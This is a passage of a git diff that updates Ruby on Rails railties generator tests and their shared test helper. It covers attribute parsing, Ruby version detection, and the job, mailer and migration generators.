-      assert create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+      assert_predicate create_generated_attribute("#{attribute_type}{polymorphic}"), :polymorphic?
     end
   end
 
   def test_polymorphic_reference_is_false
-    %w(foo bar baz).each do |attribute_type|
-      assert !create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+    %w(references belongs_to).each do |attribute_type|
+      assert_not_predicate create_generated_attribute(attribute_type), :polymorphic?
     end
   end
 
-  def test_blank_type_defaults_to_string_raises_exception
+  def test_blank_type_defaults_to_string
     assert_equal :string, create_generated_attribute(nil, "title").type
     assert_equal :string, create_generated_attribute("", "title").type
   end
@@ -142,11 +209,58 @@ def test_handles_column_names_for_references
     assert_equal "post_id", create_generated_attribute("belongs_to", "post").column_name
   end
 
+  def test_parse_works_with_adapter_specific_types
+    att = Rails::Generators::GeneratedAttribute.parse("document:json")
+    assert_equal "document", att.name
+    assert_equal :json, att.type
+  end
+
   def test_parse_required_attribute_with_index
-    att = Rails::Generators::GeneratedAttribute.parse("supplier:references{required}:index")
+    att = Rails::Generators::GeneratedAttribute.parse("supplier:references:index")
     assert_equal "supplier", att.name
     assert_equal :references, att.type
-    assert att.has_index?
-    assert att.required?
+    assert_predicate att, :has_index?
+    assert_predicate att, :required?
+  end
+
+  def test_parse_required_attribute_with_index_false_when_belongs_to_required_by_default_global_config_is_false
+    Rails.application.config.active_record.belongs_to_required_by_default = false
+    att = Rails::Generators::GeneratedAttribute.parse("supplier:references:index")
+    assert_not_predicate att, :required?
+  end
+
+  def test_generated_attribute_to_s
+    att = Rails::Generators::GeneratedAttribute.parse("name")
+    assert_equal "name:string", att.to_s
+  end
+
+  def test_generated_attribute_to_s_with_index
+    att = Rails::Generators::GeneratedAttribute.parse("name:index")
+    assert_equal "name:string:index", att.to_s
+  end
+
+  def test_generated_attribute_to_s_with_uniq_index
+    att = Rails::Generators::GeneratedAttribute.parse("name:uniq")
+    assert_equal "name:string:uniq", att.to_s
+  end
+
+  def test_generated_attribute_to_s_with_limit
+    att = Rails::Generators::GeneratedAttribute.parse("name:text{140}")
+    assert_equal "name:text{140}", att.to_s
+  end
+
+  def test_generated_attribute_to_s_with_size
+    att = Rails::Generators::GeneratedAttribute.parse("name:text{medium}")
+    assert_equal "name:text{medium}", att.to_s
+  end
+
+  def test_generated_attribute_to_s_with_precision_and_scale
+    att = Rails::Generators::GeneratedAttribute.parse("name:decimal{1,2}")
+    assert_equal "name:decimal{1,2}", att.to_s
+  end
+
+  def test_generated_attribute_to_s_with_polymorphic
+    att = Rails::Generators::GeneratedAttribute.parse("name:references{polymorphic}")
+    assert_equal "name:references{polymorphic}", att.to_s
   end
 end
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
index 5ff8bb0357bef..8f3022c85a2b4 100644
--- a/railties/test/generators/generator_generator_test.rb
+++ b/railties/test/generators/generator_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/generator/generator_generator"
 
@@ -18,7 +20,7 @@ def test_generator_skeleton_is_created
                 /class AwesomeGenerator < Rails::Generators::NamedBase/
     assert_file "test/lib/generators/awesome_generator_test.rb",
                /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
-               /require 'generators\/awesome\/awesome_generator'/
+               /require "generators\/awesome\/awesome_generator"/
   end
 
   def test_namespaced_generator_skeleton
@@ -34,7 +36,7 @@ def test_namespaced_generator_skeleton
                 /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
     assert_file "test/lib/generators/rails/awesome_generator_test.rb",
                /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
-               /require 'generators\/rails\/awesome\/awesome_generator'/
+               /require "generators\/rails\/awesome\/awesome_generator"/
   end
 
   def test_generator_skeleton_is_created_without_file_name_namespace
@@ -50,7 +52,7 @@ def test_generator_skeleton_is_created_without_file_name_namespace
                 /class AwesomeGenerator < Rails::Generators::NamedBase/
     assert_file "test/lib/generators/awesome_generator_test.rb",
                /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
-               /require 'generators\/awesome_generator'/
+               /require "generators\/awesome_generator"/
   end
 
   def test_namespaced_generator_skeleton_without_file_name_namespace
@@ -66,6 +68,6 @@ def test_namespaced_generator_skeleton_without_file_name_namespace
                 /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
     assert_file "test/lib/generators/rails/awesome_generator_test.rb",
                /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
-               /require 'generators\/rails\/awesome_generator'/
+               /require "generators\/rails\/awesome_generator"/
   end
 end
diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb
index 904bade65893d..d002b0a91320e 100644
--- a/railties/test/generators/generator_test.rb
+++ b/railties/test/generators/generator_test.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
 require "active_support/test_case"
 require "active_support/testing/autorun"
+require "env_helpers"
+require "minitest/mock"
 require "rails/generators/app_base"
 
 module Rails
   module Generators
     class GeneratorTest < ActiveSupport::TestCase
+      include EnvHelpers
+
       def make_builder_class
         Class.new(AppBase) do
           add_shared_options_for "application"
@@ -13,8 +19,6 @@ def make_builder_class
           include(Module.new {
             def gemfile_entries; super; end
             def invoke_all; super; self; end
-            def add_gem_entry_filter; super; end
-            def gemfile_entry(*args); super; end
           })
         end
       end
@@ -24,76 +28,70 @@ def test_construction
         assert klass.start(["new", "blah"])
       end
 
-      def test_add_gem
-        klass = make_builder_class
+      def test_recommended_rails_versions
+        klass     = make_builder_class
         generator = klass.start(["new", "blah"])
-        generator.gemfile_entry "tenderlove"
-        assert_includes generator.gemfile_entries.map(&:name), "tenderlove"
+
+        specifier_for = -> v { generator.send(:rails_version_specifier, Gem::Version.new(v)) }
+
+        assert_equal "~> 4.1.13", specifier_for["4.1.13"]
+        assert_equal "~> 4.1.6.rc1", specifier_for["4.1.6.rc1"]
+        assert_equal ["~> 4.1.7", ">= 4.1.7.1"], specifier_for["4.1.7.1"]
+        assert_equal ["~> 4.1.7", ">= 4.1.7.1.2"], specifier_for["4.1.7.1.2"]
+        assert_equal ["~> 4.1.7", ">= 4.1.7.1.rc2"], specifier_for["4.1.7.1.rc2"]
+        assert_equal "~> 4.2.0.beta1", specifier_for["4.2.0.beta1"]
+        assert_equal "~> 5.0.0.beta1", specifier_for["5.0.0.beta1"]
       end
 
-      def test_add_gem_with_version
+      def test_version_manager_ruby_version_with_rbenv_env_var
         klass = make_builder_class
         generator = klass.start(["new", "blah"])
-        generator.gemfile_entry "tenderlove", "2.0.0"
-        assert generator.gemfile_entries.find { |gfe|
-          gfe.name == "tenderlove" && gfe.version == "2.0.0"
-        }
+
+        switch_env "RBENV_VERSION", "3.4.0" do
+          assert_equal "3.4.0", generator.send(:version_manager_ruby_version)
+        end
       end
 
-      def test_add_github_gem
+      def test_version_manager_ruby_version_with_rvm_env_var
         klass = make_builder_class
         generator = klass.start(["new", "blah"])
-        generator.gemfile_entry "tenderlove", github: "hello world"
-        assert generator.gemfile_entries.find { |gfe|
-          gfe.name == "tenderlove" && gfe.options[:github] == "hello world"
-        }
+
+        switch_env "rvm_ruby_string", "ruby-3.4.0" do
+          assert_equal "ruby-3.4.0", generator.send(:version_manager_ruby_version)
+        end
       end
 
-      def test_add_path_gem
+      def test_version_manager_ruby_version_with_mri_ruby
         klass = make_builder_class
         generator = klass.start(["new", "blah"])
-        generator.gemfile_entry "tenderlove", path: "hello world"
-        assert generator.gemfile_entries.find { |gfe|
-          gfe.name == "tenderlove" && gfe.options[:path] == "hello world"
-        }
-      end
 
-      def test_filter
-        klass     = make_builder_class
-        generator = klass.start(["new", "blah"])
-        gems      = generator.gemfile_entries
-        generator.add_gem_entry_filter { |gem|
-          gem.name != gems.first.name
-        }
-        assert_equal gems.drop(1), generator.gemfile_entries
+        stub_const(Object, :RUBY_ENGINE, "ruby") do
+          Gem.stub(:ruby_version, Gem::Version.new("3.4.0")) do
+            assert_equal "ruby-3.4.0", generator.send(:version_manager_ruby_version)
+          end
+        end
       end
 
-      def test_two_filters
-        klass     = make_builder_class
+      def test_version_manager_ruby_version_with_mri_ruby_prerelease
+        klass = make_builder_class
         generator = klass.start(["new", "blah"])
-        gems      = generator.gemfile_entries
-        generator.add_gem_entry_filter { |gem|
-          gem.name != gems.first.name
-        }
-        generator.add_gem_entry_filter { |gem|
-          gem.name != gems[1].name
-        }
-        assert_equal gems.drop(2), generator.gemfile_entries
+
+        stub_const(Object, :RUBY_ENGINE, "ruby") do
+          Gem.stub(:ruby_version, Gem::Version.new("4.0.0.preview2")) do
+            assert_equal "ruby-4.0.0-preview2", generator.send(:version_manager_ruby_version)
+          end
+        end
       end
 
-      def test_recommended_rails_versions
-        klass     = make_builder_class
+      def test_version_manager_ruby_version_with_non_mri_ruby
+        klass = make_builder_class
         generator = klass.start(["new", "blah"])
 
-        specifier_for = -> v { generator.send(:rails_version_specifier, Gem::Version.new(v)) }
-
-        assert_equal "~> 4.1.13", specifier_for["4.1.13"]
-        assert_equal [">= 4.1.6.rc1", "< 4.2"], specifier_for["4.1.6.rc1"]
-        assert_equal ["~> 4.1.7", ">= 4.1.7.1"], specifier_for["4.1.7.1"]
-        assert_equal ["~> 4.1.7", ">= 4.1.7.1.2"], specifier_for["4.1.7.1.2"]
-        assert_equal [">= 4.1.7.1.rc2", "< 4.2"], specifier_for["4.1.7.1.rc2"]
-        assert_equal [">= 4.2.0.beta1", "< 4.3"], specifier_for["4.2.0.beta1"]
-        assert_equal [">= 5.0.0.beta1", "< 5.1"], specifier_for["5.0.0.beta1"]
+        stub_const(Object, :RUBY_ENGINE, "jruby") do
+          stub_const(Object, :RUBY_ENGINE_VERSION, "10.0.2.0") do
+            assert_equal "jruby-10.0.2.0", generator.send(:version_manager_ruby_version)
+          end
+        end
       end
     end
   end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 2cdddc871307b..e0294328cc144 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -1,20 +1,13 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "active_support/core_ext/module/remove_method"
 require "active_support/testing/stream"
 require "active_support/testing/method_call_assertions"
 require "rails/generators"
 require "rails/generators/test_case"
+require "rails/generators/app_base"
 
-module Rails
-  class << self
-    remove_possible_method :root
-    def root
-      @root ||= Pathname.new(File.expand_path("../../fixtures", __FILE__))
-    end
-  end
-end
-Rails.application.config.root = Rails.root
-Rails.application.config.generators.templates = [File.join(Rails.root, "lib", "templates")]
+Rails.application.config.generators.templates = [File.expand_path("../fixtures/lib/templates", __dir__)]
 
 # Call configure to load the settings from
 # Rails.application.config.generators to Rails::Generators
@@ -30,20 +23,146 @@ module GeneratorsTestHelper
 
   def self.included(base)
     base.class_eval do
-      destination File.join(Rails.root, "tmp")
+      destination File.expand_path("../fixtures/tmp", __dir__)
       setup :prepare_destination
 
+      setup { Rails.application.config.root = Pathname("../fixtures").expand_path(__dir__) }
+
+      setup { @original_rakeopt, ENV["RAKEOPT"] = ENV["RAKEOPT"], "--silent" }
+      teardown { ENV["RAKEOPT"] = @original_rakeopt }
+
       begin
-        base.tests Rails::Generators.const_get(base.name.sub(/Test$/, ""))
+        base.tests Rails::Generators.const_get(base.name.delete_suffix("Test"))
       rescue
       end
     end
   end
 
+  def run_generator_instance
+    capture(:stdout) do
+      generator.invoke_all
+    end
+  end
+
+  def with_database_configuration(database_name = "secondary")
+    original_configurations = ActiveRecord::Base.configurations
+    ActiveRecord::Base.configurations = {
+      test: {
+        "#{database_name}": {
+          adapter: "sqlite3",
+          database: "db/#{database_name}.sqlite3",
+          migrations_paths: "db/#{database_name}_migrate",
+        },
+      },
+    }
+    yield
+  ensure
+    ActiveRecord::Base.configurations = original_configurations
+  end
+
   def copy_routes
-    routes = File.expand_path("../../../lib/rails/generators/rails/app/templates/config/routes.rb", __FILE__)
+    routes = File.expand_path("../../lib/rails/generators/rails/app/templates/config/routes.rb.tt", __dir__)
+    routes = evaluate_template(routes, {
+      options: ActiveSupport::OrderedOptions.new
+    })
     destination = File.join(destination_root, "config")
     FileUtils.mkdir_p(destination)
-    FileUtils.cp routes, destination
+    File.write File.join(destination, "routes.rb"), routes
   end
+
+  def copy_gemfile(*gemfile_entries)
+    locals = gemfile_locals.merge(gemfile_entries: gemfile_entries)
+    gemfile = File.expand_path("../../lib/rails/generators/rails/app/templates/Gemfile.tt", __dir__)
+    gemfile = evaluate_template(gemfile, locals)
+    destination = File.join(destination_root)
+    File.write File.join(destination, "Gemfile"), gemfile
+  end
+
+  def copy_application_system_test_case
+    content = File.read(File.expand_path("../fixtures/test/application_system_test_case.rb", __dir__))
+    destination = File.join(destination_root, "test")
+    mkdir_p(destination)
+    File.write File.join(destination, "application_system_test_case.rb"), content
+  end
+
+  def copy_dockerfile
+    dockerfile = File.expand_path("../fixtures/Dockerfile.test", __dir__)
+    dockerfile = evaluate_template_docker(dockerfile)
+    destination = File.join(destination_root)
+    File.write File.join(destination, "Dockerfile"), dockerfile
+  end
+
+  def copy_devcontainer_files
+    destination = File.join(destination_root, ".devcontainer")
+    mkdir_p(destination)
+
+    devcontainer_json = File.read(File.expand_path("../fixtures/.devcontainer/devcontainer.json", __dir__))
+    File.write File.join(destination, "devcontainer.json"), devcontainer_json
+
+    compose_yaml = File.read(File.expand_path("../fixtures/.devcontainer/compose.yaml", __dir__))
+    File.write File.join(destination, "compose.yaml"), compose_yaml
+  end
+
+  def copy_minimal_devcontainer_compose_file
+    destination = File.join(destination_root, ".devcontainer")
+    mkdir_p(destination)
+
+    compose_yaml = File.read(File.expand_path("../fixtures/.devcontainer/compose-minimal.yaml", __dir__))
+    File.write File.join(destination, "compose.yaml"), compose_yaml
+  end
+
+  def evaluate_template(file, locals = {})
+    erb = ERB.new(File.read(file), trim_mode: "-", eoutvar: "@output_buffer")
+    context = Class.new do
+      locals.each do |local, value|
+        class_attribute local, default: value
+      end
+    end
+    erb.result(context.new.instance_eval("binding"))
+  end
+
+  def evaluate_template_docker(file)
+    erb = ERB.new(File.read(file), trim_mode: "-", eoutvar: "@output_buffer")
+    erb.result()
+  end
+
+  def assert_compose_file
+    assert_file ".devcontainer/compose.yaml" do |content|
+      yield YAML.load(content)
+    end
+  end
+
+  def assert_devcontainer_json_file
+    assert_file ".devcontainer/devcontainer.json" do |content|
+      yield JSON.load(content)
+    rescue JSON::ParserError
+      puts "Failed to parse JSON: #{content}"
+      raise
+    end
+  end
+
+  def run_app_update(app_root = destination_root, flags: "--force")
+    Dir.chdir(app_root) do
+      gemfile_contents = File.read("Gemfile")
+      gemfile_contents.sub!(/^(gem "rails").*/, "\\1, path: #{File.expand_path("../../..", __dir__).inspect}")
+      File.write("Gemfile", gemfile_contents)
+
+      silence_stream($stdout) do
+        Bundler.with_unbundled_env {
+          system("bin/rails app:update #{flags}", exception: true)
+        }
+      end
+    end
+  end
+
+  private
+    def gemfile_locals
+      {
+        rails_prerelease: false,
+        skip_active_storage: true,
+        depend_on_bootsnap: false,
+        depends_on_system_test: false,
+        options: ActiveSupport::OrderedOptions.new,
+      }
+    end
 end
diff --git a/railties/test/generators/helper_generator_test.rb b/railties/test/generators/helper_generator_test.rb
index d9e6e0a85ad36..192839799ed41 100644
--- a/railties/test/generators/helper_generator_test.rb
+++ b/railties/test/generators/helper_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/helper/helper_generator"
 
@@ -28,12 +30,17 @@ def test_namespaced_and_not_namespaced_helpers
     require "#{destination_root}/app/helpers/products_helper"
 
     assert_nothing_raised do
-      begin
-        run_generator ["admin::products"]
-      ensure
-        # cleanup
-        Object.send(:remove_const, :ProductsHelper)
-      end
+      run_generator ["admin::products"]
+    ensure
+      # cleanup
+      Object.send(:remove_const, :ProductsHelper)
     end
   end
+
+  def test_helper_suffix_is_not_duplicated
+    run_generator %w(products_helper)
+
+    assert_no_file "app/helpers/products_helper_helper.rb"
+    assert_file "app/helpers/products_helper.rb"
+  end
 end
diff --git a/railties/test/generators/hook_generator_test.rb b/railties/test/generators/hook_generator_test.rb
new file mode 100644
index 0000000000000..c83ef9945bce2
--- /dev/null
+++ b/railties/test/generators/hook_generator_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+
+class HookGeneratorTest < ActiveSupport::TestCase
+  class GeneratorWithHook < Rails::Generators::Base
+    hook_for(:test_framework)
+  end
+
+  class GeneratorWithoutHook < GeneratorWithHook
+    remove_hook_for(:test_framework)
+  end
+
+  def test_hook_added
+    assert GeneratorWithHook.respond_to?(:test_framework_generator)
+    assert GeneratorWithHook.hooks.key?(:test_framework)
+  end
+
+  def test_hook_removed
+    assert_not GeneratorWithoutHook.respond_to?(:test_framework_generator)
+    assert_not GeneratorWithoutHook.hooks.key?(:test_framework)
+  end
+end
diff --git a/railties/test/generators/integration_test_generator_test.rb b/railties/test/generators/integration_test_generator_test.rb
index 8bcc02440a0dc..2ec48950964bc 100644
--- a/railties/test/generators/integration_test_generator_test.rb
+++ b/railties/test/generators/integration_test_generator_test.rb
@@ -1,12 +1,25 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/integration_test/integration_test_generator"
 
 class IntegrationTestGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
-  arguments %w(integration)
 
   def test_integration_test_skeleton_is_created
-    run_generator
+    run_generator %w(integration)
     assert_file "test/integration/integration_test.rb", /class IntegrationTest < ActionDispatch::IntegrationTest/
   end
+
+  def test_namespaced_integration_test_skeleton_is_created
+    run_generator %w(iguchi/integration)
+    assert_file "test/integration/iguchi/integration_test.rb", /class Iguchi::IntegrationTest < ActionDispatch::IntegrationTest/
+  end
+
+  def test_test_suffix_is_not_duplicated
+    run_generator %w(integration_test)
+
+    assert_no_file "test/integration/integration_test_test.rb"
+    assert_file "test/integration/integration_test.rb"
+  end
 end
diff --git a/railties/test/generators/job_generator_test.rb b/railties/test/generators/job_generator_test.rb
index 68d158eb394b5..d4a1b2e84f039 100644
--- a/railties/test/generators/job_generator_test.rb
+++ b/railties/test/generators/job_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/job/job_generator"
 
@@ -19,6 +21,13 @@ def test_job_queue_param
     end
   end
 
+  def test_job_parent_param
+    run_generator ["refresh_counters", "--parent", "awesome_job"]
+    assert_file "app/jobs/refresh_counters_job.rb" do |job|
+      assert_match(/class RefreshCountersJob < AwesomeJob/, job)
+    end
+  end
+
   def test_job_namespace
     run_generator ["admin/refresh_counters", "--queue", "admin"]
     assert_file "app/jobs/admin/refresh_counters_job.rb" do |job|
@@ -33,4 +42,14 @@ def test_application_job_skeleton_is_created
       assert_match(/class ApplicationJob < ActiveJob::Base/, job)
     end
   end
+
+  def test_job_suffix_is_not_duplicated
+    run_generator ["notifier_job"]
+
+    assert_no_file "app/jobs/notifier_job_job.rb"
+    assert_file "app/jobs/notifier_job.rb"
+
+    assert_no_file "test/jobs/notifier_job_job_test.rb"
+    assert_file "test/jobs/notifier_job_test.rb"
+  end
 end
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 7d69d7470df5d..62b7ff06b697f 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/mailer/mailer_generator"
 
@@ -9,13 +11,13 @@ def test_mailer_skeleton_is_created
     run_generator
     assert_file "app/mailers/notifier_mailer.rb" do |mailer|
       assert_match(/class NotifierMailer < ApplicationMailer/, mailer)
-      assert_no_match(/default from: "from@example.com"/, mailer)
+      assert_no_match(/default from: "from@example\.com"/, mailer)
       assert_no_match(/layout :mailer_notifier/, mailer)
     end
 
     assert_file "app/mailers/application_mailer.rb" do |mailer|
       assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer)
-      assert_match(/default from: 'from@example.com'/, mailer)
+      assert_match(/default from: 'from@example\.com'/, mailer)
       assert_match(/layout 'mailer'/, mailer)
     end
   end
@@ -29,7 +31,7 @@ def test_mailer_with_i18n_helper
   end
 
   def test_check_class_collision
-    Object.send :const_set, :NotifierMailer, Class.new
+    Object.const_set :NotifierMailer, Class.new
     content = capture(:stderr) { run_generator }
     assert_match(/The name 'NotifierMailer' is either already used in your application or reserved/, content)
   ensure
@@ -44,21 +46,21 @@ def test_invokes_default_test_framework
       assert_match(/test "bar"/, test)
     end
     assert_file "test/mailers/previews/notifier_mailer_preview.rb" do |preview|
-      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier_mailer/, preview)
+      assert_match(/\# Preview all emails at http:\/\/localhost:3000\/rails\/mailers\/notifier_mailer/, preview)
       assert_match(/class NotifierMailerPreview < ActionMailer::Preview/, preview)
-      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier_mailer\/foo/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost:3000\/rails\/mailers\/notifier_mailer\/foo/, preview)
       assert_instance_method :foo, preview do |foo|
-        assert_match(/NotifierMailer.foo/, foo)
+        assert_match(/NotifierMailer\.foo/, foo)
       end
-      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier_mailer\/bar/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost:3000\/rails\/mailers\/notifier_mailer\/bar/, preview)
       assert_instance_method :bar, preview do |bar|
-        assert_match(/NotifierMailer.bar/, bar)
+        assert_match(/NotifierMailer\.bar/, bar)
       end
     end
   end
 
   def test_check_test_class_collision
-    Object.send :const_set, :NotifierMailerTest, Class.new
+    Object.const_set :NotifierMailerTest, Class.new
     content = capture(:stderr) { run_generator }
     assert_match(/The name 'NotifierMailerTest' is either already used in your application or reserved/, content)
   ensure
@@ -66,7 +68,7 @@ def test_check_test_class_collision
   end
 
   def test_check_preview_class_collision
-    Object.send :const_set, :NotifierMailerPreview, Class.new
+    Object.const_set :NotifierMailerPreview, Class.new
     content = capture(:stderr) { run_generator }
     assert_match(/The name 'NotifierMailerPreview' is either already used in your application or reserved/, content)
   ensure
@@ -117,16 +119,16 @@ def test_logs_if_the_template_engine_cannot_be_found
     assert_match(/haml \[not found\]/, content)
   end
 
-  def test_mailer_with_namedspaced_mailer
+  def test_mailer_with_namespaced_mailer
     run_generator ["Farm::Animal", "moos"]
     assert_file "app/mailers/farm/animal_mailer.rb" do |mailer|
       assert_match(/class Farm::AnimalMailer < ApplicationMailer/, mailer)
       assert_match(/en\.farm\.animal_mailer\.moos\.subject/, mailer)
     end
     assert_file "test/mailers/previews/farm/animal_mailer_preview.rb" do |preview|
-      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal_mailer/, preview)
+      assert_match(/\# Preview all emails at http:\/\/localhost:3000\/rails\/mailers\/farm\/animal_mailer/, preview)
       assert_match(/class Farm::AnimalMailerPreview < ActionMailer::Preview/, preview)
-      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal_mailer\/moos/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost:3000\/rails\/mailers\/farm\/animal_mailer\/moos/, preview)
     end
     assert_file "app/views/farm/animal_mailer/moos.text.erb"
     assert_file "app/views/farm/animal_mailer/moos.html.erb"
@@ -137,12 +139,12 @@ def test_actions_are_turned_into_methods
 
     assert_file "app/mailers/notifier_mailer.rb" do |mailer|
       assert_instance_method :foo, mailer do |foo|
-        assert_match(/mail to: "to@example.org"/, foo)
+        assert_match(/mail to: "to@example\.org"/, foo)
         assert_match(/@greeting = "Hi"/, foo)
       end
 
       assert_instance_method :bar, mailer do |bar|
-        assert_match(/mail to: "to@example.org"/, bar)
+        assert_match(/mail to: "to@example\.org"/, bar)
         assert_match(/@greeting = "Hi"/, bar)
       end
     end
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index f46278cefea0c..796e98f4e7125 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -1,9 +1,22 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/migration/migration_generator"
+require "active_record/migration"
 
 class MigrationGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
 
+  def setup
+    @old_belongs_to_required_by_default = Rails.application.config.active_record.belongs_to_required_by_default
+
+    Rails.application.config.active_record.belongs_to_required_by_default = true
+  end
+
+  def teardown
+    Rails.application.config.active_record.belongs_to_required_by_default = @old_belongs_to_required_by_default
+  end
+
   def test_migration
     migration = "change_title_body_from_posts"
     run_generator [migration]
@@ -36,6 +49,10 @@ def test_migration_with_invalid_file_name
     end
   end
 
+  def test_exit_on_failure
+    assert_equal true, generator_class.exit_on_failure?
+  end
+
   def test_add_migration_with_attributes
     migration = "add_title_body_to_posts"
     run_generator [migration, "title:string", "body:text"]
@@ -48,6 +65,17 @@ def test_add_migration_with_attributes
     end
   end
 
+  def test_add_migration_with_table_having_from_in_title
+    migration = "add_email_address_to_excluded_from_campaign"
+    run_generator [migration, "email_address:string"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :excluded_from_campaigns, :email_address, :string/, change)
+      end
+    end
+  end
+
   def test_remove_migration_with_indexed_attribute
     migration = "remove_title_body_from_posts"
     run_generator [migration, "title:string:index", "body:text"]
@@ -73,6 +101,17 @@ def test_remove_migration_with_attributes
     end
   end
 
+  def test_remove_migration_with_table_having_to_in_title
+    migration = "remove_email_address_from_sent_to_user"
+    run_generator [migration, "email_address:string"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_column :sent_to_users, :email_address, :string/, change)
+      end
+    end
+  end
+
   def test_remove_migration_with_references_options
     migration = "remove_references_from_books"
     run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
@@ -92,12 +131,23 @@ def test_remove_migration_with_references_removes_foreign_keys
     assert_migration "db/migrate/#{migration}.rb" do |content|
       assert_method :change, content do |change|
         assert_match(/remove_reference :books, :author,.*\sforeign_key: true/, change)
-        assert_match(/remove_reference :books, :distributor/, change) # sanity check
+        assert_match(/remove_reference :books, :distributor/, change) # Ensure the line isn't gone completely
         assert_no_match(/remove_reference :books, :distributor,.*\sforeign_key: true/, change)
       end
     end
   end
 
+  def test_remove_migration_with_references_removes_foreign_keys_when_primary_key_uuid
+    migration = "remove_references_from_books"
+    run_generator [migration, "author:belongs_to", "--primary_key_type=uuid"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_reference :books, :author,.*\sforeign_key: true, type: :uuid/, change)
+      end
+    end
+  end
+
   def test_add_migration_with_attributes_and_indices
     migration = "add_title_with_index_and_body_to_posts"
     run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
@@ -113,21 +163,6 @@ def test_add_migration_with_attributes_and_indices
     end
   end
 
-  def test_add_migration_with_attributes_and_wrong_index_declaration
-    migration = "add_title_and_content_to_books"
-    run_generator [migration, "title:string:inex", "content:text", "user_id:integer:unik"]
-
-    assert_migration "db/migrate/#{migration}.rb" do |content|
-      assert_method :change, content do |change|
-        assert_match(/add_column :books, :title, :string/, change)
-        assert_match(/add_column :books, :content, :text/, change)
-        assert_match(/add_column :books, :user_id, :integer/, change)
-      end
-      assert_no_match(/add_index :books, :title/, content)
-      assert_no_match(/add_index :books, :user_id/, content)
-    end
-  end
-
   def test_add_migration_with_attributes_without_type_and_index
     migration = "add_title_with_index_and_body_to_posts"
     run_generator [migration, "title:index", "body:text", "user_uuid:uniq"]
@@ -172,9 +207,9 @@ def test_add_migration_with_references_options
     end
   end
 
-  def test_add_migration_with_required_references
+  def test_add_migration_with_references_adds_null_false_by_default
     migration = "add_references_to_books"
-    run_generator [migration, "author:belongs_to{required}", "distributor:references{polymorphic,required}"]
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
 
     assert_migration "db/migrate/#{migration}.rb" do |content|
       assert_method :change, content do |change|
@@ -184,6 +219,21 @@ def test_add_migration_with_required_references
     end
   end
 
+  def test_add_migration_with_references_does_not_add_belongs_to_when_required_by_default_global_config_is_false
+    Rails.application.config.active_record.belongs_to_required_by_default = false
+
+    migration = "add_references_to_books"
+
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author/, change)
+        assert_match(/add_reference :books, :distributor, polymorphic: true/, change)
+      end
+    end
+  end
+
   def test_add_migration_with_references_adds_foreign_keys
     migration = "add_references_to_books"
     run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
@@ -191,7 +241,7 @@ def test_add_migration_with_references_adds_foreign_keys
     assert_migration "db/migrate/#{migration}.rb" do |content|
       assert_method :change, content do |change|
         assert_match(/add_reference :books, :author,.*\sforeign_key: true/, change)
-        assert_match(/add_reference :books, :distributor/, change) # sanity check
+        assert_match(/add_reference :books, :distributor/, change) # Ensure the line isn't gone completely
         assert_no_match(/add_reference :books, :distributor,.*\sforeign_key: true/, change)
       end
     end
@@ -204,8 +254,8 @@ def test_create_join_table_migration
     assert_migration "db/migrate/#{migration}.rb" do |content|
       assert_method :change, content do |change|
         assert_match(/create_join_table :artists, :musics/, change)
-        assert_match(/# t.index \[:artist_id, :music_id\]/, change)
